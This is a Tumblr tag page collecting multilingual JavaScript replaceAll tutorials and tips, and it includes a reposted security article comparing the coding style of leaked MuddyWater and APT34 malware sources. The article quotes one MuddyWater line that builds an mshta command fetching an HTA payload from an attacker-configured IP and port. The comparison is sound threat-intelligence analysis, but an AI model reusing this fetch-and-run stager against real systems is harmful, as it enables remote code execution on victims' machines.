#javascript replaceall

[josegremarquez]

replaceAll() y replaceWith()

Sustituir Elementos en jQuery. Introducción En el desarrollo web, la capacidad de sustituir elementos del DOM de manera dinámica es esencial para crear interfaces interactivas y fluidas. jQuery, una biblioteca JavaScript altamente popular, ofrece dos métodos poderosos para sustituir elementos: replaceAll() y replaceWith(). Estos métodos permiten a los desarrolladores reemplazar elementos…

[rorro182]

.08 | Dados personalizados

Los dados de Foroactivo, los usamos, los odiamos por la mala suerte que tenemos con el RNG, pero también odiamos su estilo ¿verdad?... ¿VERDAD? Bueno, hace un tiempo @mrd-design hizo un tutorial para editar su estilo. Este daba un código bastante largo, pero muy completo para editarlo... Pero en su momento, me pareció complicado y en su lugar, en mi foro yo había "ideado" otra manera.

No se si llamar a esto algo "bien hecho", es solo un truco que se me ocurrió en aquella época y que a mi me dio resultado, porque pude poner el estilo de los dados como yo quería. Hoy lo revisaba, y tras hacerle algunas "correcciones", se los comparto por si les sirve.

El código es simple. Es solo un código para reemplazar palabras. Lo que hice fue buscar palabras clave dentro del lanzamiento de los dados, como "el miembro X ha lanzado bla bla bla..." y ejecuté un "replaceall" para que, en lugar de anunciar esa frase, ponga un div. Así fui buscando más palabras que me ayudasen a cerrar esos divs, y finalmente creé un a tablilla sencilla para el lanzamiento de los dados.

Lo primero que vas a hacer es tomar los posts, para no cambiar, romper o alterar nada de los demás posts o de la estructura del foro. Lo que tienen que hacer es ir a los templates, ahí buscar viewtopic_body y en este template, buscan la siguiente línea:

Si todavía no editaste el template, esa línea es la 188, pero sabemos que ya le metiste mano hasta el cansancio, así que te tocará buscarla. Ahora ¿ves que resalta "lotus"? Bueno, "lotus" es solo un class que creé para poder usarlo como identificador para el script que vamos a usar para los dados... que es este:

https://pastebin.com/yj7vdk6A (182)

Y ahora vas a ir a Módulos » Gestión de los códigos Javascript. Y ahí vas a crear uno nuevo, lo vas a poner para que se muestre en los temas y vas a pegar el código de arriba.

Si todo salió bien, tu próximo lanzamiento de dados debería haberse modificado y ahora se tendría que ver de la siguiente manera:

Como ves, la tirada de dados ahora crea divs, esos divs no estarán en el post, pero se pueden editar dándoles estilo desde el CSS de tu foro. Es solo un truco sencillo, pero si a alguien le sirve, lo comparto con gusto.

Dicho esto, tal vez a alguien le resulte un código muy precario o torpe, pero hasta ahora, desde que lo empecé a usar, no me rompió nada en el foro y me ha dado resultados. Los leo si tienen alguna duda, saludos!

No tengo donde poner créditos en este código, pero agradecería que si lo usas, pongas el link a mi tumblr en cualquier rinconcito de créditos o agradecimientos que tengas en tu foro.

Por último, no es obligatorio, no es necesario si no quieren. Pero si gustan, tengo un ko-fi para recibir una propina de aquellos que quieran y puedan. Aunque como digo, no es condición de nada. Todos reciben de mi parte el mismo trato <3

@elalmacen-rp

[commentator-ihy]

Oh and basically the same two lines in javascript, so you could do this in you web browser dev console right now without downloading python:

let text = "The text you want to blast" text.replaceAll(/[^ATCGatcg\W_]/g,"").replaceAll(/\s+/g, " ")

WHAT DO YOU MEAN YOU'RE DOING IT ALL BY HAND??? LIKE BACKSPACING OUT EVERY LETTER BEFORE YOU SEARCH THE STRING???

String identified: AT A ' G T A A??? ACACG T TT AC T TG???

Closest match: Crassostrea gigas strain QD chromosome 2 Common name: Pacific oyster

[techwebdevelopment]

JavaScript 2021 – New Features – Part 1

ECMAScript 2021(ES12) : New CapabilitiesThe String replaceAll() function The replaceAll() function is available on a string object. The replaceAll() function replaces occurances of a given string in the given string object and returns a new string object. let str = “Namaste Javascript”; let str2 = str.replaceAll(“Java”, “Javascript”); console.log(str2); console.log(str); str = “Namaste Namaste Namaste”; console.log(str.replaceAll(“Namaste”, [���] The post JavaScript 2021 – New Features – Part 1 appeared first on TECH - WEB DEVELOPMENT NEWS. https://tech-webdevelopment.news-6.com/javascript-2021-new-features-part-1/

[airman7com]

javaScript Replace () | javaScript String Replace All

javaScript Replace () | javaScript String Replace All

Metode ganti string Javascript (). Dalam tutorial ini, kami akan menjelaskan metode javascript string.replace () dengan definisi metode ini, sintaksis, parameter, dan beberapa contoh.

Ganti String JavaScript ()

Definisi: – Metode JavaScript string replace () mencari string untuk nilai yang ditentukan atau ekspresi reguler, atau kata kunci, dan mengganti string pencarian yang cocok ke string yang…

[bisuke]

Tumblrの表示言語、日本語から英語に。

Tumblrの日本語表記になってるバグはなかなか修正されないだろうと思うので、自分でどうにかしてみる事にしました。

修正前

左側の「投稿の日付」は下記のようなJavaScriptをbodyの最後の方に追加して使います。

<script> document.querySelectorAll('.postshare li').forEach(shc => {shc.innerHTML = shc.innerHTML.replaceAll('秒前', ' seconds ago').replaceAll('分前', ' minutes ago').replaceAll('時間前', ' hours ago').replaceAll('日前', ' days ago').replaceAll('週間前', ' weeks ago').replaceAll('ヶ月前', ' months ago').replaceAll('年前', ' years ago');}); </script>

ページ内から指定したliを取り出す

上で取り出したliから指定した文字列をreplaceAllで置換

上で置き換えた文字列含むliをinnerHTMLで書き換え

修正後

右側の「リアク���ョンの数」はTumblr公式サイトの「カスタムHTMLテーマを作成するには」のページを見ると{NoteCount}にすると数だけが表示されるとの事で下記のように変更しました。

<a href="{Permalink}#notes" title="{NoteCountWithLabel}">{NoteCountWithLabel}</a> <!-- ↓ 下記に書き換え --> <a href="{Permalink}#notes" title="{NoteCount} notes">{NoteCount} notes</a>

改善されるまでとりあえずこれで問題を回避してみます。

[smartupworld]

How to replace all occurrences of a string in JavaScript

How to replace all occurrences of a string in JavaScript

Use the following code – to replace all occurrences of a string in JavaScript <script type=”text/javascript”> function escapeRegExp(string) { return string.replace(/[.*+?^${}()|[]\]/g, ‘\$&’); // $& means the whole matched string } function replaceAll(str, find, replace) { return str.replace(new RegExp(escapeRegExp(find), ‘g’), replace); } </script>

[suzanneshannon]

Weekly Platform News: Contrast Ratio Range, replaceAll Method, Native File System API

In this week's roundup: Firefox's new contrast checker, a simpler way to lasso substrings in a string, and a new experimental API that will let apps fiddle with a user's local files.

Firefox shows the contrast ratio range for text on a multicolored background

According to Success Criterion 1.4.3 of the Web Content Accessibility Guidelines (WCAG), text should have a contrast ratio of at least 4.5. (A lower contrast ratio is acceptable only if the text is 24px or larger.)

If the background of the text is not a solid color but a color gradient or photograph, you can use the special element picker in Firefox’s Accessibility panel to get a range of contrast ratios based on the element’s actual background.

(via Šime Vidas)

Replacing all instances of a substring in a string

The new JavaScript replaceAll method makes it easier to replace all instances of a substring in a string without having to convert the substring to a regex first, which is “hard to get right since JavaScript doesn’t offer a built-in mechanism to escape regular expression patterns.”

// BEFORE str = str.replace(/foo/g, "bar"); // AFTER str = str.replaceAll("foo", "bar");

This new string method has not yet shipped in browsers, but you can start using it today via Babel (since it’s automatically polyfilled by @babel/preset-env).

(via Mathias Bynens)

Try out the Native File System API in Chrome

The Native File System API, which is experimentally supported in Chrome, allows web apps to read or save changes directly to local files on the person’s computer. The app is granted permission to view and edit files in a specific folder via two separate prompts.

You can try out this new feature by visiting labs.vaadin.com in Chrome on desktop.

(via Thomas Steiner)

More news...

sunday-issue-18.png

Read more news in my weekly newsletter for web developers. Pledge as little as $2 per month to get the latest news from me via email every Monday.

More News →

The post Weekly Platform News: Contrast Ratio Range, replaceAll Method, Native File System API appeared first on CSS-Tricks.

Weekly Platform News: Contrast Ratio Range, replaceAll Method, Native File System API published first on https://deskbysnafu.tumblr.com/

[hackerbuildr]

The String.replace() function allows using String and Regex to replace strings, however natively it only replaces the first occurrence. - Simulate replaceAll() by using the /g at the end of Regex like so: - ❓What do you use to learn Regex? - - - - - #js #ui #ux #css #css3 #html #html5 #code #coder #coding #codingbootcamp #frontend #javascript #codinglife #worldcode #programmer #siliconvalley #development #womenintech #girlswhocode #womenwhocode #webdevelopment #webdeveloper #100daysofcode #programming #100DaysofCode #301DaysofCode #LearnToCode #CodeNewbie — view on Instagram http://bit.ly/2NfarxZ

[terabitweb]

Original Post from Security Affairs Author: Pierluigi Paganini

Security expert Marco Ramilli analyzed similarities and differences between the MuddyWater and APT34 cyberespionage groups.

Many state sponsored groups have been identified over time, many of them have different names (since discovered by different organizations) and there is no an agreed standardization on the topic but many victims and some interests look very tight together. From here the idea to compare the leaked source code of two different state sponsored cyber-espionage groups, looking for similarities and for differences in coding style rather than on functionalities.

While I analyzed several APT34 samples ( some of my public analyses are available here,here and here) it’s the first time I take a closer look to MuddyWater artifacts. Currently available here the MuddyWater leaked tools are written in Python and implement neat functionalities for automate infection chains.

The MuddyWater attacks are primarily against Middle Eastern nations. However, we have also observed attacks against surrounding nations and beyond, including targets in India and the USA. MuddyWater attacks are characterized by the use of a slowly evolving PowerShell-based first stage backdoor we call “POWERSTATS”. Despite broad scrutiny and reports on MuddyWater attacks, the activity continues with only incremental changes to the tools and techniques.

MISP-TI

Today I’d like to look for strong and weak similarities between ATP34 and MuddyWater, I wont reach any conclusions so far, so I am not getting into the topic “they are the same group” or “they actually live in the same building” or again “they did not belong to the same matrix” or whatever topic related to such, but I think there are some similarities (mostly weak) and quite evident differences (again weak differences) in the way they code in Python. I am aware that the following practices are not overwhelming evidences, but you might agree with me that developers spend years in defining the best and the most beautiful way to implement their code. It would be difficult to code with “someone else style” by changing their coding habitat.

The sources I am going to compare are the sources belonging to the “last leaked” MuddyC3 and to the “previously leaked” WebMask. Everything is freely available online for further checks. The following sections introduce some notes on the observed coding styles and try to motivate them.

Print behavior

The sources show differences in the printing function. MuddyWater implements a more “fancy” printing function by adding the symbol “[+]” when things go in the right direction and by adding the symbol “[-]” when flows hit errors or some unwanted conditions. Moreover MuddyWater uses color in outputs by implementing a core function called colors.py. These amenities are not available in the APT34 sources.

Color.py by MuddyWater

Both of the groups uses single quote for printing string and use the + operator as concatenation string in print functions rather than %s operator. MuddyWater in complex substitution strings uses n at the beginning of the string and at the very end, while in the APT34 sources is not a common practice. ie. print "nmshta http://%s:%s/htan"%(config.IP,config.PORT)(is MuddyWater Style). APT34 looks like using the print as a debugger, there are many commented print statements such as: #print 'something'while in MuddyWater it is not a common practice at all (only one occurrence). I would say that the print behavior differ from one to another.

Payload delivery as multi-line string

Both of the analysed groups use the multi-line string for delivery the relative payloads. However the writing style is quite different. For example APT34 uses the “real” multi-line, while MuddyWater abuses the multi-line exploiting its auto-escape indirect proprieties. The following images show what I mean while saying “exploiting the auto-escape” function.

MuddyWater String Multi-Line

APT34 String Multi-Line

MuddyWater delivers its payload in a inline multi-string, avoiding to escape special characters, while APT34 prefers to use the same technique but expanding the payload in order to promote the readability. However both groups frequently use the operator =+ for concatenation and both of them use the ' '.join( to build up objects from empty strings. Interesting to spot a different style inside the MuddyWater package. Indeed in core/webserver.py the developer uses ' '.join( while in core/resa.py the developer used both: ' '.join( and " ".join( (NB the double quote). This is quite wired to me, maybe was more then one developers involved in the developing ?

Code functions and loops

Both groups use a quite clear and identical function nomenclature. While the developer might decide to use many different nomenclatures such as: “CamelMultipleNames”, “Firstcapital”, “lowercase”, “with_underscore”, and so on and so forth, both APT34 and MuddyWater have chosen to go with the “lowercase_with_underscore” mode. If you are thinking to: “Hey, but this is a Python best practice !”, well it is true but it is also true that is not a mandatory choice, moreover the analysed source codes do not implement PEP8/4 at all, so I don’t think developers followed the suggested style guidelines. Again both of groups use a lot the operator for i in range rather than using lists or while loop. Both adopted a nice code protection, in order to avoid unexpected exceptions or un-managed user input which might rise wired behaviours. MuddyWater is well-known for the way they obfuscate powershell payloads. They like to replace function values in order to substitute “obfuscated characters” (ref. replace function dissected by Fireeye) while APT34 used different techniques (such as: Integer encoding, hexadecimal encoding and so forth) however, it’s not hard to find a wide usage of such technique even in the APT34 leaked source code. Actually not in the analyzed python code but rather in the javascript and powershell payload as well belonging to the same package. There we find wide usage of replace functions. The following image shows a crafted internal function called replaceAll (in a javascript code in the APT34 boundle) built to replace strings (or chars) used as a deobfuscation technique.

APT34 Replace function

Summing UP

The following table sums up the similarities and the differences that I found. You might find a - character for every difference and a + character for each similarity. 

The following table sums up the similarities and the differences that I found. You might find a - character for every difference and a + character for each similarity. Again, I am not expressing any personal opinion about the group membership, and I am aware that some of these similarities could be associate to a good code practice but I believe it is still interesting to know that those two groups have their own style similarities.

Parameter MuddyWater APT34 Similarity printing style [+],[-] No – printing style n usage Initial and very end No – printing color Yes No – string concatenation =+,+, few time % =+,+, few time % + comment usage nope significant Yes – Multi-line delivery multi-line “inline” real “multi-line – Join statement wide usage of ' '.join( wide usage of ' '.join( + loops for i in range for i in range + function names “underscoring” “underscoring” + replace statement .replace .replace (not in python code) +

If we consider the first three differences as a single difference since focused on “printing” we might observe 3 differences and 5 similarities.

The original post and other interesting analysis are published on the Marco Ramilli’s blog:

https://marcoramilli.com/2019/06/27/similarities-and-differences-between-muddywater-and-apt34/

About the author: Marco Ramilli, Founder of Yoroi

I am a computer security scientist with an intensive hacking background. I do have a MD in computer engineering and a PhD on computer security from University of Bologna. During my PhD program I worked for US Government (@ National Institute of Standards and Technology, Security Division) where I did intensive researches in Malware evasion techniques and penetration testing of electronic voting systems.

I do have experience on security testing since I have been performing penetration testing on several US electronic voting systems. I’ve also been encharged of testing uVote voting system from the Italian Minister of homeland security. I met Palantir Technologies where I was introduced to the Intelligence Ecosystem. I decided to amplify my cybersecurity experiences by diving into SCADA security issues with some of the biggest industrial aglomerates in Italy. I finally decided to found Yoroi: an innovative Managed Cyber Security Service Provider developing some of the most amazing cybersecurity defence center I’ve ever experienced! Now I technically lead Yoroi defending our customers strongly believing in: Defence Belongs To Humans

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Pierluigi Paganini

(SecurityAffairs – APT34, MuddyWater)

The post Similarities and differences between MuddyWater and APT34 appeared first on Security Affairs.

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Go to Source Author: Pierluigi Paganini Similarities and differences between MuddyWater and APT34 Original Post from Security Affairs Author: Pierluigi Paganini Security expert Marco Ramilli analyzed similarities and differences between the MuddyWater and APT34 cyberespionage groups.

[nicholasswinford095-blog]

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[jscodetalk-blog]

How To Replace All String Occurrences In JavaScript ?

JavaScript's replace function only removes the first occurrence of the string. To replace of occurrences of a string in another string we can use Regular expressions.

Here is an example of a function that replaces all string occurrences in another string:

1 2 3

function replaceAll(originalString, stringToFind, stringToReplace) { return originalString.replace(new RegExp(escapeRegExp(stringToFind), 'g'), stringToReplace); }